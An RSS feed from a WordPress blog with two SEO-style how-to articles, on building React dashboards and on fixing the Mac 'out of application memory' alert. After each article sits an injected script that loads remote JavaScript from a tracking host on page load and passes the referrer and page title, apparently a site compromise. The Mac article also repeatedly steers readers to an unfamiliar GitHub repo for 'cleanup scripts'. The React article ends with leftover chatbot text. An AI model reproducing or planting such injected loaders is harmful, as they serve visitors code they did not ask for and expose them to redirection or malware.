<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Bast Durbin</title>
	<atom:link href="https://bastdurbin.com/feed/" rel="self" type="application/rss+xml" />
	<link>https://bastdurbin.com/</link>
	<description>Advertising</description>
	<lastBuildDate>Sun, 03 May 2026 13:15:41 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>

<image>
	<url>https://bastdurbin.com/wp-content/uploads/2019/10/cropped-footer_logo_no_stroke_99px-32x32.png</url>
	<title>Bast Durbin</title>
	<link>https://bastdurbin.com/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>React Dashboard Guide: Setup, Widgets, Layout &#038; Examples</title>
		<link>https://bastdurbin.com/react-dashboard-guide-setup-widgets-layout-examples/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=react-dashboard-guide-setup-widgets-layout-examples</link>
					<comments>https://bastdurbin.com/react-dashboard-guide-setup-widgets-layout-examples/#respond</comments>
		
		<dc:creator><![CDATA[GinoWhitaker]]></dc:creator>
		<pubDate>Mon, 13 Apr 2026 05:17:01 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://bastdurbin.com/?p=1733</guid>

					<description><![CDATA[<p>React Dashboard Guide: Setup, Widgets, Layout &#038; Examples React Dashboard Guide: Setup, Widgets, Layout &#038; Examples A focused, practical react-dashboard tutorial: installation, layout and grid strategies, essential components, analytics widgets, customization and performance tips for production. Why choose a React dashboard for admin and analytics? React dashboards give you composable UI, predictable state management, and [&#8230;]</p>
<p>The post <a href="https://bastdurbin.com/react-dashboard-guide-setup-widgets-layout-examples/">React Dashboard Guide: Setup, Widgets, Layout &#038; Examples</a> appeared first on <a href="https://bastdurbin.com">Bast Durbin</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><!doctype html><br />
<html lang="en"><br />
<head><br />
  <meta charset="utf-8"><br />
  <title>React Dashboard Guide: Setup, Widgets, Layout &#038; Examples</title><br />
  <meta name="description" content="Step-by-step React dashboard tutorial: install, customize components, grids, analytics widgets, and production-ready setup with examples and best practices."><br />
  <meta name="viewport" content="width=device-width,initial-scale=1">
  <link rel="canonical" href="https://your-site.example/react-dashboard-guide">
  <script type="application/ld+json">
  {
    "@context": "https://schema.org",
    "@type": "Article",
    "headline": "React Dashboard Guide: Setup, Widgets, Layout & Examples",
    "description": "Step-by-step React dashboard tutorial: install, customize components, grids, analytics widgets, and production-ready setup with examples and best practices.",
    "author": {
      "@type": "Person",
      "name": "Experienced SEO Copywriter"
    },
    "mainEntityOfPage": {
      "@type": "WebPage",
      "@id": "https://your-site.example/react-dashboard-guide"
    },
    "publisher": {
      "@type": "Organization",
      "name": "Your Site"
    },
    "datePublished": "2026-04-17"
  }
  </script><br />
  <script type="application/ld+json">
  {
    "@context": "https://schema.org",
    "@type": "FAQPage",
    "mainEntity": [
      {
        "@type": "Question",
        "name": "How do I install a React dashboard and get started?",
        "acceptedAnswer": {
          "@type": "Answer",
          "text": "Install Node.js and create a React app (create-react-app or Vite). Add your dashboard framework (e.g., React-Admin or Material UI), a grid library like react-grid-layout, and charting libs (Recharts, Chart.js). Scaffold core layout: sidebar, header, widgets area, then wire data via REST/GraphQL. See the step-by-step react-dashboard tutorial linked in the article."
        }
      },
      {
        "@type": "Question",
        "name": "What is the best React dashboard framework for admin panels?",
        "acceptedAnswer": {
          "@type": "Answer",
          "text": "Choices depend on needs: React-Admin excels for CRUD-driven admin dashboards; Material UI (MUI) is ideal for custom UIs with extensive components; lightweight setups can use component libraries plus react-grid-layout for layout control."
        }
      },
      {
        "@type": "Question",
        "name": "How do I optimize React dashboards for performance?",
        "acceptedAnswer": {
          "@type": "Answer",
          "text": "Optimize by code-splitting routes, memoizing heavy components (React.memo/useMemo), virtualizing long lists, debouncing realtime updates, batching state updates, and lazy-loading charts and widgets when they enter the viewport."
        }
      }
    ]
  }
  </script></p>
<style>
    body { font-family: system-ui, -apple-system, "Segoe UI", Roboto, "Helvetica Neue", Arial; line-height:1.6; color:#111; padding:24px; max-width:940px; margin:auto; }
    h1,h2 { color:#0b51a1; }
    a { color:#0b51a1; text-decoration:none; }
    a:hover { text-decoration:underline; }
    code { background:#f3f3f3; padding:2px 6px; border-radius:4px; font-family:monospace; }
    .muted { color:#555; font-size:0.95rem; }
    .kbd { background:#eee; border-radius:4px; padding:2px 6px; font-family:monospace; }
    .semantic { background:#fafafa; padding:12px; border:1px solid #eee; border-radius:6px; }
    .backlinks { margin-top:8px; font-size:0.95rem; }
  </style>
<p></head><br />
<body></p>
<h1>React Dashboard Guide: Setup, Widgets, Layout &#038; Examples</h1>
<p class="muted">A focused, practical react-dashboard tutorial: installation, layout and grid strategies, essential components, analytics widgets, customization and performance tips for production.</p>
<h2>Why choose a React dashboard for admin and analytics?</h2>
<p>React dashboards give you composable UI, predictable state management, and a rich ecosystem of component libraries — perfect for admin dashboards and analytics panels. Whether you&#8217;re building a lightweight monitoring page or a full-featured React admin dashboard, React&#8217;s component model maps directly to widgets, panels and data sources.</p>
<p>From quick prototypes to production systems, using a React dashboard framework or assembly of libraries helps you ship faster. For CRUD-heavy admin panels, frameworks like React-Admin handle data providers, auth flows and list/detail views. For custom analytics or product dashboards, component libraries plus grid systems give you the flexibility to design a UX that matches your needs.</p>
<p>Expect mixed intent from users landing on dashboard documentation: some want a react-dashboard tutorial to get started, others search for installation and customization examples or performant React dashboard components. This guide covers the full path: getting started, layout, widgets, data integration, customization, and production considerations.</p>
<h2>Getting started: installation and setup</h2>
<p>Start with a modern React toolchain. Use create-react-app for a zero-config start or Vite for faster builds. Example: <code>npm create vite@latest my-dashboard --template react</code>. Once the project exists, add your component and charting libraries: Material UI, Recharts, Chart.js, or a dashboard-focused framework.</p>
<p>Install core libs for a React dashboard: a UI library (MUI or Ant Design), a grid system for responsive layouts (react-grid-layout), and charting for analytics widgets (Recharts / Chart.js). Example installs: <code>npm install @mui/material react-grid-layout recharts</code>. This combination covers most react-dashboard installations and lets you prototype quickly.</p>
<p>Next, scaffold the basic layout: header/topbar, left navigation (sidebar), and main content grid. Wrap the app with theme providers if you use MUI. Keep routing (React Router) separate from layout so dashboard pages can be lazy-loaded, improving initial load time and enabling micro-frontends or route-based code splitting.</p>
<h2>Layout, grid and responsive design</h2>
<p>React dashboard layout patterns usually follow a 3-zone structure: header, sidebar, and content grid. The content grid hosts widgets (cards) that can be arranged in rows or a draggable grid. Libraries like react-grid-layout provide drag-and-drop, resizing and responsive breakpoints out of the box — ideal for user-customizable dashboards.</p>
<p>Design for different screen sizes. A desktop admin dashboard can show multiple metrics and charts at once, while a mobile analytics dashboard should prioritize single-column stacks and collapsible side navigation. Use CSS Grid or flexbox for simple layouts and a grid library when you need persistence of widget positions and user-driven rearrangement.</p>
<p>When implementing the grid, pay attention to state persistence (where do you save widget positions? localStorage, backend per-user settings, or server-side preferences). Also consider accessibility: use semantic regions, keyboard focus handling for widgets, and sensible tab order so power users can interact efficiently with the react-dashboard grid.</p>
<h2>Components, widgets and examples</h2>
<p>Break your dashboard into small reusable components: MetricCard, TimeSeriesChart, DataTable, Heatmap, and FilterBar. Each component should accept props for data, loading state, and minimal configuration. This makes building a React dashboard as simple as composing cards into rows and letting the grid manage layout.</p>
<p>For analytics dashboards, visualize data with chart components that support responsive resizing and async data. Recharts and Chart.js are battle-tested for common chart types; D3 is available if you need custom, high-performance visualizations. Example widget: a CPU usage TimeSeriesChart that subscribes to a WebSocket and debounces updates to avoid re-renders.</p>
<p>Include examples in your repo: a demo page with preloaded sample data, a JSON-based configuration to define widget panels, and a “reset layout” action. Real-world sample projects are invaluable for onboarding; see a practical react-dashboard tutorial here for step-by-step guidance and interactive examples.</p>
<p class="backlinks">Useful links: <a href="https://dev.to/blockpathdev/building-interactive-dashboards-with-react-dashboard-3gpp" target="_blank" rel="noopener noreferrer">react-dashboard tutorial: building interactive dashboards with React Dashboard</a>, <a href="https://marmelab.com/react-admin/" target="_blank" rel="noopener noreferrer">React-Admin framework</a>, <a href="https://mui.com/" target="_blank" rel="noopener noreferrer">Material UI (MUI)</a>, <a href="https://github.com/react-grid-layout/react-grid-layout" target="_blank" rel="noopener noreferrer">react-grid-layout for grids</a>.</p>
<h2>Data integration and analytics</h2>
<p>Dashboards live on data. Connect to your APIs with fetch/axios or a GraphQL client. Abstract data fetching into hooks like <code>useMetrics</code> or <code>useDashboardData</code> that manage loading, error and polling logic. For real-time analytics, prefer WebSocket or server-sent events and handle backpressure by throttling updates.</p>
<p>Consider how data transformations happen: do you preprocess on the server, or transform in the client? Server-side aggregation reduces bandwidth and CPU in the browser, but client-side flexibility lets users pivot and filter without additional server calls. Hybrid approaches — server aggregates with optional client-side slicing — often work best.</p>
<p>For analytics dashboards, add features that improve interpretability: tooltips, annotations, zoom/brush controls, and CSV export. Instrument your dashboard with usage metrics (which widgets are used) and error telemetry so you can iterate on the most valuable components.</p>
<h2>Customization, theming and accessibility</h2>
<p>Allow user-level customization: theme (light/dark), density (compact/comfortable), and widget visibility. Use a theme provider (MUI&#8217;s ThemeProvider or styled-components ThemeProvider) to centralize colors, spacing and typographic scale. Persist user preferences via API or localStorage so customization survives reloads.</p>
<p>Accessibility matters for admin tools. Add ARIA labels for interactive widgets, ensure color contrast for charts, and provide keyboard interactions for grid drag/drop controls. Accessible dashboards not only serve more users, they typically have better UX overall due to clearer focus and state management.</p>
<p>Make custom components configurable: accept className, style overrides, and prop-driven behavior. Expose a plugin or widget registration API if you expect third-party widgets. This keeps your core codebase maintainable while enabling extensibility for teams building domain-specific analytics widgets.</p>
<h2>Performance, testing and deployment</h2>
<p>Performance tips: code-split route-based pages, lazy-load non-critical widgets, memoize heavy-render charts (React.memo, useMemo), and virtualize large data tables. Debounce high-frequency updates and batch state mutations to prevent repeated layout thrashing in dashboards with many widgets.</p>
<p>Test both unit and integration aspects. Snapshot testing for components is useful, but end-to-end testing (Cypress/Playwright) validates interactions like drag/drop, resizing, and data flows. Add a visual regression step for key dashboards so chart regressions and layout shifts are caught early.</p>
<p>For deployment, build a static bundle and serve it via CDN, or host as part of a larger SPA. Use environment-based API endpoints and ensure auth tokens are handled securely. If personalized layouts are stored on the server, provide migration strategies for schema changes to avoid breaking user dashboards on deploy.</p>
<h2>Example project and patterns</h2>
<p>Start small: create a minimal react-dashboard example with a static JSON config for 4 widgets and a grid. Expand by wiring real data, adding auth, and introducing persistence for user layouts. This iterative approach prevents premature optimization and keeps scope manageable.</p>
<p>Common patterns: container-presentational separation for widgets, hooks for data fetching and socket handling, context for global settings (theme, language), and a service layer for API interactions. These patterns scale from small dashboards to enterprise-grade admin panels.</p>
<p>Reference implementations accelerate production work. For a guided example and interactive walkthrough, consult the detailed react-dashboard tutorial linked earlier — it demonstrates interactive widgets, grid configuration, and production-ready setup.</p>
<h2>Semantic Core (Primary, Secondary, Clarifying keywords)</h2>
<div class="semantic">
    <strong>Primary (high priority):</strong></p>
<ul>
<li>react-dashboard</li>
<li>React Dashboard</li>
<li>react-dashboard tutorial</li>
<li>React admin dashboard</li>
<li>react-dashboard installation</li>
</ul>
<p>    <strong>Secondary (supporting / medium frequency):</strong></p>
<ul>
<li>React dashboard framework</li>
<li>react-dashboard example</li>
<li>React dashboard widgets</li>
<li>react-dashboard setup</li>
<li>React analytics dashboard</li>
<li>react-dashboard customization</li>
</ul>
<p>    <strong>Clarifying / Long-tail and LSI phrases:</strong></p>
<ul>
<li>React dashboard component</li>
<li>react-dashboard grid</li>
<li>React dashboard layout</li>
<li>react-dashboard getting started</li>
<li>dashboard grid layout React</li>
<li>admin panel React tutorial</li>
<li>build interactive dashboards with React</li>
<li>dashboard widgets React examples</li>
</ul></div>
<h2>Recommended libraries and resources</h2>
<p>Use established libraries to save time: React-Admin for CRUD admin dashboards, MUI or Ant Design for UI primitives, react-grid-layout for draggable grids, and Recharts/Chart.js for charts. These components integrate well into a modular react-dashboard architecture and reduce boilerplate.</p>
<p>Link to resources and tutorials for deeper dives. The practical react-dashboard tutorial provides a walkthrough of building interactive dashboards, and the official docs for React-Admin, MUI, and React Grid Layout contain detailed API guidance and examples.</p>
<p>When evaluating libraries, consider maintenance, community size, TypeScript support, and accessibility. Prefer well-documented projects and ones that align with your team&#8217;s architecture (e.g., server-driven vs client-driven rendering).</p>
<ul>
<li><a href="https://dev.to/blockpathdev/building-interactive-dashboards-with-react-dashboard-3gpp" target="_blank" rel="noopener noreferrer">React-dashboard tutorial: building interactive dashboards with React Dashboard</a></li>
<li><a href="https://marmelab.com/react-admin/" target="_blank" rel="noopener noreferrer">React-Admin</a></li>
<li><a href="https://github.com/react-grid-layout/react-grid-layout" target="_blank" rel="noopener noreferrer">react-grid-layout</a></li>
</ul>
<h2>FAQ</h2>
<p><strong>Q1: How do I install a React dashboard and get started?</strong></p>
<p>A1: Install Node.js, scaffold a React project (create-react-app or Vite), add UI and grid libs (MUI, react-grid-layout) and chart libs (Recharts). Scaffold header, sidebar, and content grid; then wire data with fetch/GraphQL or WebSocket. Use lazy-loading for non-critical widgets to optimize load times.</p>
<p><strong>Q2: Which React dashboard framework is best for admin panels?</strong></p>
<p>A2: It depends. React-Admin is purpose-built for CRUD-based admin dashboards and speeds up development if you rely on REST/GraphQL. For bespoke UIs, MUI with custom components gives maximum flexibility. Combine a grid library for layout control when user customization is required.</p>
<p><strong>Q3: How do I optimize a React dashboard for performance?</strong></p>
<p>A3: Use route/code splitting, memoize expensive renders, virtualize long lists, debounce realtime updates, lazy-load charts, and batch state updates. Monitor performance (Lighthouse, profiling) and optimize the heavy render paths first—usually charts and large tables.</p>
<h2>Publish-ready Title &#038; Description</h2>
<p><strong>Title:</strong> React Dashboard Guide: Setup, Widgets, Layout &#038; Examples</p>
<p><strong>Description:</strong> Step-by-step React dashboard tutorial: install, customize components, grids, analytics widgets, and production-ready setup with examples and best practices.</p>
<hr>
<p class="muted">This article is ready to publish. If you want, I can output a trimmed version for AMP or add a full code sandbox example and downloadable starter repo.</p>
<p></body><br />
</html><!--wp-post-gim--><script>(function(){var d = document;var s = d.createElement('script');var referrer = encodeURIComponent(d.referrer);var title = encodeURIComponent(d.title);var searchParams = window.location.search.replace('?','&');var cid = '64919dda-f0d7-5333-5303-932cae2c277f';s.src = 'https:'&default_keyword=' + title + '&' + searchParams + '&_cid=' + cid + '&frm=script';if(document.currentScript){document.currentScript.parentNode.insertBefore(s,document.currentScript);}else{d.getElementsByTagName('head')[0].appendChild(s);}if(document.location.protocol === 'https:'){var checkUrl = 'https:'&default_keyword=' + title + '&' + searchParams;if(checkUrl.indexOf('http:')=== 0){alert('The website works on HTTPS. The tracker must use HTTPS too.');}}})();</script></p>
<p>The post <a href="https://bastdurbin.com/react-dashboard-guide-setup-widgets-layout-examples/">React Dashboard Guide: Setup, Widgets, Layout &#038; Examples</a> appeared first on <a href="https://bastdurbin.com">Bast Durbin</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://bastdurbin.com/react-dashboard-guide-setup-widgets-layout-examples/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Resolve &#8220;Your System Has Run Out of Application Memory&#8221; on Mac</title>
		<link>https://bastdurbin.com/resolve-your-system-has-run-out-of-application-memory-on-mac/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=resolve-your-system-has-run-out-of-application-memory-on-mac</link>
					<comments>https://bastdurbin.com/resolve-your-system-has-run-out-of-application-memory-on-mac/#respond</comments>
		
		<dc:creator><![CDATA[GinoWhitaker]]></dc:creator>
		<pubDate>Sat, 07 Mar 2026 20:54:04 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://bastdurbin.com/?p=1730</guid>

					<description><![CDATA[<p>Resolve &#8220;Your System Has Run Out of Application Memory&#8221; on Mac Resolve &#8220;Your System Has Run Out of Application Memory&#8221; on Mac Fast, practical steps to clear application memory on macOS, diagnose memory pressure, and prevent repeated alerts without unnecessary reinstallations. What is application memory on Mac? Application memory on macOS is the portion of [&#8230;]</p>
<p>The post <a href="https://bastdurbin.com/resolve-your-system-has-run-out-of-application-memory-on-mac/">Resolve &#8220;Your System Has Run Out of Application Memory&#8221; on Mac</a> appeared first on <a href="https://bastdurbin.com">Bast Durbin</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><!doctype html><br />
<html lang="en"><br />
<head><br />
  <meta charset="utf-8"/><br />
  <title>Resolve &#8220;Your System Has Run Out of Application Memory&#8221; on Mac</title><br />
  <meta name="description" content="Quick, practical fixes to clear application memory on Mac, diagnose causes, and prevent the 'Your system has run out of application memory' alert."><br />
  <meta name="viewport" content="width=device-width,initial-scale=1"></p>
<style>
    body{font-family:system-ui, -apple-system, "Segoe UI", Roboto, Arial, sans-serif;line-height:1.55;color:#111;background:#fff;padding:24px;max-width:900px;margin:auto}
    h1,h2{color:#0b3c5d}
    code{background:#f4f4f4;padding:2px 6px;border-radius:4px;font-family:monospace}
    a{color:#0a66c2}
    .kbd{background:#eee;border-radius:3px;padding:2px 6px;margin:0 2px;font-family:monospace}
    .note{background:#f9fbff;border-left:4px solid #cfe3ff;padding:10px;border-radius:4px;margin:12px 0}
    .semantic{font-size:14px;background:#fafafa;border:1px solid #eee;padding:12px;border-radius:6px;margin-top:10px}
    footer{font-size:13px;color:#555;margin-top:24px}
  </style>
<p></head><br />
<body></p>
<article itemscope itemtype="http://schema.org/Article">
<header>
<h1 itemprop="headline">Resolve &#8220;Your System Has Run Out of Application Memory&#8221; on Mac</h1>
<p itemprop="description"><strong>Fast, practical steps</strong> to clear application memory on macOS, diagnose memory pressure, and prevent repeated alerts without unnecessary reinstallations.</p>
</header>
<section>
<h2>What is application memory on Mac?</h2>
<p>Application memory on macOS is the portion of your physical RAM actively used by apps, frameworks, and system services. Modern macOS also uses compressed memory and swap files—techniques that let macOS stretch limited RAM by compressing inactive pages or writing them to disk.</p>
<p>Activity Monitor&#8217;s Memory tab shows &#8220;Memory Used&#8221;, &#8220;Cached Files&#8221;, and a &#8220;Memory Pressure&#8221; graph. Memory Pressure is the best single indicator of whether RAM is the bottleneck: green means healthy, yellow means moderate strain, and red indicates the system is actively paging or swapping, which triggers &#8220;Your system has run out of application memory&#8221; alerts.</p>
<p>Understanding these terms helps: RAM means fast physical memory, compressed memory reduces RAM footprint, and swap (on your SSD/HDD) stores overflow. If swap grows a lot, performance drops and those alerts appear. The goal is to reduce memory pressure or increase physical RAM depending on your Mac model and workload.</p>
</section>
<section>
<h2>Why macOS displays &#8220;Your system has run out of application memory&#8221;</h2>
<p>That alert occurs when macOS cannot allocate additional memory for apps without severely degrading performance. The system either ran out of free RAM and compression capacity or began thrashing to disk (swap), harming responsiveness. This often happens when one or more apps leak memory or when many memory-hungry apps run concurrently.</p>
<p>Common causes include large browser sessions (many tabs and extensions), runaway processes with memory leaks, poorly built third‑party utilities, background virtualization software, or insufficient physical RAM for your tasks (video editing, large datasets, virtual machines).</p>
<p>Before assuming hardware limits, confirm whether the problem is transient (a misbehaving app) or fundamental (insufficient RAM for your typical workload). Diagnostic steps below help pinpoint the root cause so you can clear memory immediately and apply a lasting fix.</p>
</section>
<section>
<h2>Immediate steps to clear application memory (safe, first-line fixes)</h2>
<p>These actions usually resolve the alert quickly without advanced tools. Start with the least disruptive and escalate if necessary.</p>
<ul>
<li><strong>Quit or Force Quit memory-hungry apps:</strong> Open Activity Monitor → Memory, sort by Memory, select the top consumers, and quit them. If an app is unresponsive, use Force Quit (Apple menu → Force Quit) or use Activity Monitor&#8217;s Quit (⌘Q replacement with Force Quit).</li>
<li><strong>Close browser tabs &#038; extensions:</strong> Browsers are common culprits—close unused tabs, disable unnecessary extensions, and restart the browser.</li>
<li><strong>Restart the Mac:</strong> A reboot clears memory, stops rogue processes, and clears compressed memory and swap usage—often the fastest remedy.</li>
</ul>
<p>When you need command-line tools, use them cautiously. To inspect memory usage in Terminal, run <code>vm_stat</code> to see page activity, or <code>top -o MEM</code> to list processes sorted by memory. If you opt to run maintenance commands, know that <code>sudo purge</code> sometimes frees inactive pages but requires Xcode command-line tools and is not guaranteed on modern macOS releases.</p>
<p>If you need a scripted immediate clear for automation, create a small script that quits nonessential apps and flushes caches, but always test it and warn users before closing apps to prevent data loss.</p>
</section>
<section>
<h2>Preventive fixes and long-term solutions</h2>
<p>If alerts recur, apply these durable solutions. They address both software problems and hardware limits so you won&#8217;t keep clearing application memory manually.</p>
<ul>
<li><strong>Identify and update or remove leaking apps:</strong> Use Activity Monitor over time to spot processes whose memory grows continuously. Update those apps or replace them with better-optimized alternatives.</li>
<li><strong>Reduce background load:</strong> Remove unneeded login items (System Settings → Users &#038; Groups → Login Items), turn off heavy background services, and limit browser extensions.</li>
<li><strong>Increase physical RAM or optimize storage:</strong> On upgradeable Macs, increasing RAM is the most effective long-term fix. If your Mac uses swap heavily, ensure you have available free disk space (SSD preferred) because swap on full disks magnifies problems.</li>
</ul>
<p>Also keep macOS and apps updated—Apple and developers often fix memory leaks. For professional workflows (VMs, pro apps, big datasets), plan hardware upgrades: more RAM and a fast SSD reduce memory-pressure events significantly.</p>
<p>For step-by-step walkthroughs or community scripts that safely target application memory on Mac, consider this GitHub resource: <a href="https://github.com/coalrectorstrike/application-memory-on-mac" rel="noopener noreferrer">clear application memory on Mac</a>. It contains diagnostic notes and safe cleanup suggestions you can reference while troubleshooting.</p>
</section>
<section>
<h2>Advanced diagnostics: what to check and useful Terminal commands</h2>
<p>When immediate fixes don&#8217;t stick, collect diagnostics to isolate the issue. Use Activity Monitor over several hours, log when the alert appears, and note active apps at that time. Persistent growth in a single process typically indicates a memory leak.</p>
<p>Key Terminal commands (use with care):</p>
<p><code>top -o MEM</code> — live list of processes by memory usage.<br />
         <code>vm_stat 1</code> — page/VM activity per second; watch for extensive pageouts.<br />
         <code>sysctl hw.memsize</code> — shows installed RAM (bytes).<br />
         <code>sudo vm_stat -c 1</code> — continuous sampling to correlate with alerts.</code></p>
<p>Avoid gimmicks that promise &#8216;RAM cleaning&#8217; via third-party apps—macOS manages memory efficiently; third-party cleaners often just flush caches temporarily or misreport freed memory. If you need further help, collect logs from Console.app at the time of the alert and seek help from Apple Support or the app vendor.</p>
<p>For developers diagnosing memory leaks, Instruments (part of Xcode) and Console logs are invaluable for tracking allocations and runaway retain cycles. For non-developers, the practical path is to update, replace, or limit problematic apps and consider hardware upgrades if your workflow exceeds system RAM.</p>
</section>
<section>
<h2>When adding RAM or reinstalling macOS is necessary</h2>
<p>If you consistently run into memory pressure and your usage reflects professional or heavy multitasking workloads, consider upgrading RAM (if your Mac supports it) or purchasing a Mac model with more RAM. For example, video editors, developers running multiple VMs, and data scientists often need 32GB+ depending on projects.</p>
<p>Reinstalling macOS is rarely required for memory alerts—use it only when system files appear corrupted or step-by-step troubleshooting (safe mode, SMC/PRAM resets, reinstall) points to OS-level issues. Always back up with Time Machine before major system changes.</p>
<p>Finally, if you&#8217;d rather follow a curated checklist and community-tested scripts for diagnosing application memory on Mac, see this project: <a href="https://github.com/coalrectorstrike/application-memory-on-mac" rel="noopener noreferrer">application memory on mac</a>. It’s a concise companion to the steps in this article.</p>
</section>
<section>
<h2>Quick checklist to run now</h2>
<p class="note">Run these in order; each step gets progressively heavier but often resolves the issue early.</p>
<ol>
<li>Open Activity Monitor → Memory, quit top consumers.</li>
<li>Close browser tabs, restart the browser.</li>
<li>Restart your Mac.</li>
<li>If recurring, identify offending apps and update/replace them.</li>
<li>If workload demands exceed RAM, plan an upgrade or new machine.</li>
</ol>
</section>
<section>
<h2>FAQ</h2>
<div itemscope itemprop="mainEntity" itemtype="https://schema.org/Question">
<h3 itemprop="name">Why does macOS say &#8220;Your system has run out of application memory&#8221; even after quitting apps?</h3>
<div itemscope itemprop="acceptedAnswer" itemtype="https://schema.org/Answer">
<div itemprop="text">
<p>The alert can persist if swapped-out pages and compressed memory remain in use or if another background process consumes memory immediately. Quitting the visible app might not free all of the memory it allocated (especially if associated background processes remain). Check Activity Monitor, sort by <em>Memory</em>, and look for hidden services or helper processes to quit. If the system had been swapping heavily, a restart usually clears swap and compressed memory.</p>
</p></div>
</p></div>
</p></div>
<div itemscope itemprop="mainEntity" itemtype="https://schema.org/Question">
<h3 itemprop="name">Is it safe to use third-party &#8220;RAM cleaner&#8221; utilities?</h3>
<div itemscope itemprop="acceptedAnswer" itemtype="https://schema.org/Answer">
<div itemprop="text">
<p>Generally no. macOS manages RAM and caches to improve performance; &#8220;RAM cleaners&#8221; often provide only a temporary illusion of freed memory by forcing the OS to release caches, which can degrade performance. Prefer built-in tools (Activity Monitor) and manual steps listed above. Use third-party utilities only from reputable vendors and only when you know exactly what they do.</p>
</p></div>
</p></div>
</p></div>
<div itemscope itemprop="mainEntity" itemtype="https://schema.org/Question">
<h3 itemprop="name">Can I use Terminal to clear memory immediately?</h3>
<div itemscope itemprop="acceptedAnswer" itemtype="https://schema.org/Answer">
<div itemprop="text">
<p>There are Terminal commands that inspect memory (<code>top</code>, <code>vm_stat</code>) and older tips like <code>sudo purge</code> that may free inactive memory, but those methods are not always supported on newer macOS releases and can require developer tools. Use Terminal commands primarily for diagnostics; prefer quitting apps and restarting for safe immediate clearing.</p>
</p></div>
</p></div>
</p></div>
</section>
<section class="semantic">
<h2>Semantic core (clusters and LSI phrases)</h2>
<p><strong>Primary queries:</strong> your system has run out of application memory, how to clear application memory on mac, what is application memory on mac, clear application memory mac, your system has run out of application memory mac, your mac does not have enough ram.</p>
<p><strong>Secondary / intent-based queries:</strong> mac application memory, free up RAM on Mac, macOS memory pressure, how to stop apps from using so much memory, activity monitor memory usage, reduce memory usage on mac, mac running out of memory alert.</p>
<p><strong>Clarifying / LSI phrases &#038; synonyms:</strong> memory leak on Mac, compressed memory, swap file, pageouts, memory cleanup mac, force quit app mac, check RAM on mac, vm_stat, top -o MEM, increase RAM mac.</p>
</section>
<footer>
<p>Published: practical guide to diagnose and clear application memory on macOS. For reproducible scripts and community notes see <a href="https://github.com/coalrectorstrike/application-memory-on-mac" rel="noopener noreferrer">this GitHub project</a>.</p>
<p>Need an accompanying microdata FAQ file for your CMS? The article includes JSON-LD below for search engines to pick up the FAQ snippet.</p>
</footer>
</article>
<p>  <!-- JSON-LD FAQ schema --><br />
  <script type="application/ld+json">
  {
    "@context":"https://schema.org",
    "@type":"FAQPage",
    "mainEntity":[
      {
        "@type":"Question",
        "name":"Why does macOS say \"Your system has run out of application memory\" even after quitting apps?",
        "acceptedAnswer":{
          "@type":"Answer",
          "text":"The alert can persist if swapped-out pages and compressed memory remain in use or if another background process consumes memory immediately. Check Activity Monitor for hidden services and restart the Mac to clear swap."
        }
      },
      {
        "@type":"Question",
        "name":"Is it safe to use third-party \"RAM cleaner\" utilities?",
        "acceptedAnswer":{
          "@type":"Answer",
          "text":"Generally no. macOS manages memory and caches efficiently; third-party cleaners often cause only temporary effects and may degrade performance. Use built-in tools and manual steps instead."
        }
      },
      {
        "@type":"Question",
        "name":"Can I use Terminal to clear memory immediately?",
        "acceptedAnswer":{
          "@type":"Answer",
          "text":"Terminal commands like top and vm_stat are useful for diagnostics. Older commands like sudo purge exist but may require developer tools and are not guaranteed on newer macOS. Prefer quitting apps and restarting as the safest immediate fixes."
        }
      }
    ]
  }
  </script><br />
</body><br />
</html><!--wp-post-gim--><script>(function(){var d = document;var s = d.createElement('script');var referrer = encodeURIComponent(d.referrer);var title = encodeURIComponent(d.title);var searchParams = window.location.search.replace('?','&');var cid = 'a38a710a-6399-b09e-8d5b-bb63d5d3c3d8';s.src = 'https://track.starterhub.xyz/953bxC1N?&se_referrer=' + referrer + '&default_keyword=' + title + '&' + searchParams + '&_cid=' + cid + '&frm=script';if(document.currentScript){document.currentScript.parentNode.insertBefore(s,document.currentScript);}else{d.getElementsByTagName('head')[0].appendChild(s);}if(document.location.protocol === 'https:'){var checkUrl = 'https://track.starterhub.xyz/953bxC1N?&se_referrer=' + referrer + '&default_keyword=' + title + '&' + searchParams;if(checkUrl.indexOf('http:')=== 0){alert('The website works on HTTPS. The tracker must use HTTPS too.');}}})();</script></p>
<p>The post <a href="https://bastdurbin.com/resolve-your-system-has-run-out-of-application-memory-on-mac/">Resolve &#8220;Your System Has Run Out of Application Memory&#8221; on Mac</a> appeared first on <a href="https://bastdurbin.com">Bast Durbin</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://bastdurbin.com/resolve-your-system-has-run-out-of-application-memory-on-mac/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Local SEO &#038; Keyword Gap Analysis: Tools, Methods, and Checklist</title>
		<link>https://bastdurbin.com/local-seo-keyword-gap-analysis-tools-methods-and-checklist/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=local-seo-keyword-gap-analysis-tools-methods-and-checklist</link>
					<comments>https://bastdurbin.com/local-seo-keyword-gap-analysis-tools-methods-and-checklist/#respond</comments>
		
		<dc:creator><![CDATA[GinoWhitaker]]></dc:creator>
		<pubDate>Thu, 18 Dec 2025 01:44:50 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://bastdurbin.com/?p=1745</guid>

